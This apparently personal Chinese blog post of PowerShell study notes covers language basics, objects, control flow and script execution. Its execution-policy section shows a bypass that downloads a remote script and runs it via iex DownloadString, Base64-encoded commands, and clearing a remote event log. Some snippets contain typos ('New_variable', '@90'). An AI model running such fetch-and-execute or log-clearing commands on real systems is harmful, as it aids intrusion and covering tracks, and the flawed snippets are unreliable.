Powershell笔记

笔记

基础

变量

强类型语言,大小写不敏感

变量以$开头

1
2
3
4
# 受保护的变量
New_variable num -Value 100 -Force -Option readonly
# 只能通过 del 删除
del $num

数组

创建

1
2
3
4
5
$array = 1,2,3,4
$array = 1..4
$array = 1,"21",([System.Guid]::NewGuid()),(get-data)
$array=@90 # 空数组
$a = ,"1" # 1个元素的数组

访问,通过下标,多行数据每行为一个元素

1
2
$ip = ipconfig
$ip[1]

判断

1
$test -is [array]

追加

1
$array += "asdf"

哈希表

创建

1
$stu=@{Name = "test"; Age="12";Sex="man"}

插入和删除

1
2
3
$hashtable = @{}
$hashtable.Name = "nnn"
$hashtable.Remove("Name")

对象

powershell 中一切都是对象

Get-Member

查看对象结构

1
2
3
4
# 查看对象结构
Get-Member
# 可以指定查看其中的一部分
Get-Member -MemberType Properties

Select-Object

选择对象的一部分

1
2
3
4
5
6
7
8
9
10
# 选择对象的一部分
Select-Object
# 建仅包括 Win32_LogicalDisk WMI 类的 Name 和 FreeSpace 属性的新对象
Get-CimInstance -Class Win32_LogicalDisk | Select-Object -Property Name,FreeSpace
# 创建计算属性,改变FreeSpace 的单位
Get-CimInstance -Class Win32_LogicalDisk |
Select-Object -Property Name, @{
label='FreeSpace'
expression={($_.FreeSpace/1GB).ToString('F2')}
}

Where-Object

筛选对象

1
1,2,3,4 | Where-Object {$_ -lt 3}

$_指代当前管道对象

筛选运行中的驱动程序

1
2
Get-CimInstance -Class Win32_SystemDriver |
Where-Object {$_.State -eq 'Running'}

进一步筛选,输出对象的一部分信息

1
2
3
4
Get-CimInstance -Class Win32_SystemDriver |
Where-Object {$_.State -eq "Running"} |
Where-Object {$_.StartMode -eq "Manual"} |
Format-Table -Property Name,DisplayName

创建 .NET 对象

管理 Eventlog 并存入变量,类似于 向构造函数传参

1
2
3
4
5
6
$app = New-Object -TypeName System.Diagnostics.EventLogNew-Object -TypeName System.Diagnostics.EventLog -ArgumentList Application

# 远程计算机的日志
$RemoteAppLog = New-Object -TypeName System.Diagnostics.EventLog Application,192.168.1.81
# 清除日志
$RemoteAppLog.Clear()

创建 COM 对象。如创建 WSH 对象:WScript.Shell,WScript.Network,Scripting.Dictionary 和 Scripting.FileSystemObject

1
2
3
4
New-Object -ComObject WScript.Shell
New-Object -ComObject WScript.Network
New-Object -ComObject Scripting.Dictionary
New-Object -ComObject Scripting.FileSystemObject

使用 WScript.Shell 创建快捷方式

1
2
3
4
$WshShell = New-Object -ComObject WScript.Shell
$lnk = $WshShell.CreateShortcut("$Home\Desktop\PSHome.lnk")
$lnk.TargetPath = $PSHome
$lnk.Save()

控制语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
-eq :等于
-ne :不等于
-gt :大于
-ge :大于等于
-lt :小于
-le :小于等于
-contains :包含
$array -contains something

-notcontains :不包含
!($a): 求反
-and :和
-or :或
-xor :异或
-not :逆

if-else:

if($value -eq 1){
code1
}else{
code2
}

while($n -gt 0){
code
}

$sum=0
for($i=1;$i -le 100;$i++)
{
$sum+=$i
}
$sum

foreach($file in dir c:\windows)
{
if($file.Length -gt 1mb)
{
$File.Name
}
}

# 获取所有的服务,并获取对呀进程ID是否大于100
Get-WmiObject Win32_Service | ForEach-Object {"Name:"+ $_.DisplayName, ", Is ProcessId more than 100:" + ($_.ProcessId -gt 100)}

函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function Invoke-PortScan {
<#
.SYNOPSIS
简介

.DESCRIPTION
描述

.PARAMETER StartAddress
参数

.PARAMETER EndAddress
参数

.EXAMPLE
PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254
用例
#>
code
}

异常

1
Try{ $connection.open() $success = $true }Catch{ $success = $false }

脚本编写与执行

执行策略

1
2
3
4
5
6
7
8
9
10
11
12
Restricted
受限制的,可以执行单个的命令,但是不能执行脚本Windows 8, Windows Server 2012, and Windows 8.1中默认就是这种策略,所以是不能执行脚本的,执行就会报错,那么如何才能执行呢?Set-ExecutionPolicy -ExecutionPolicy Bypass就是设置策略为Bypass这样就可以执行脚本了。
AllSigned
AllSigned 执行策略允许执行所有具有数字签名的脚本
RemoteSigned
当执行从网络上下载的脚本时,需要脚本具有数字签名,否则不会运行这个脚本。如果是在本地创建的脚本则可以直接执行,不要求脚本具有数字签名。
Unrestricted
这是一种比较宽容的策略,允许运行未签名的脚本。对于从网络上下载的脚本,在运行前会进行安全性提示。需要你确认是否执行脚本
Bypass
Bypass 执行策略对脚本的执行不设任何的限制,任何脚本都可以执行,并且不会有安全性提示。
Undefined
Undefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。

绕过

1
2
3
4
5
6
7
8
9
10
11
Get-ExecutionPolicy
获取当前的执行策略
Get-Content .\test.ps1 | powershell.exe -noprofile -
通过管道输入进ps
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.2/test.ps1')"
通过远程下载脚本来绕过
$command = "Write-Host 'Hello World!'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
通过BASE64编码执行

使用

1
2
3
4
5
6
7
8
9
script.ps1:
# 脚本内容
function test-conn { Test-Connection -Count 2 -ComputerName $args}

# 载入脚本文件
.\script.ps1

# 调用函数
test-conn localhost

如果脚本是直接写的代码而不是只定义了函数那么直接执行脚本.\script.ps1即可,但是如果是载入里面的函数需要.+空格+.\script.ps1,或者使用Import-Module .\script.ps1, 这样才能直接使用脚本的函数

通过 CMD 执行 powershell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PowerShell[.exe]
[-PSConsoleFile <file> | -Version <version>]
[-EncodedCommand <Base64EncodedCommand>]
[-ExecutionPolicy <ExecutionPolicy>]
[-File <filePath> <args>]
[-InputFormat {Text | XML}]
[-NoExit]
[-NoLogo]
[-NonInteractive]
[-NoProfile]
[-OutputFormat {Text | XML}]
[-Sta]
[-WindowStyle <style>]
[-Command { - | <script-block> [-args <arg-array>]
| <string> [<CommandParameters>] } ]

PowerShell[.exe] -Help | -? | /?

base64 执行 whoami

1
powershell -EncodedCommand dwBoAG8AYQBtAGkACgA=

Socket 编程

作者

lll

发布于

2019-09-07

更新于

2022-09-19

许可协议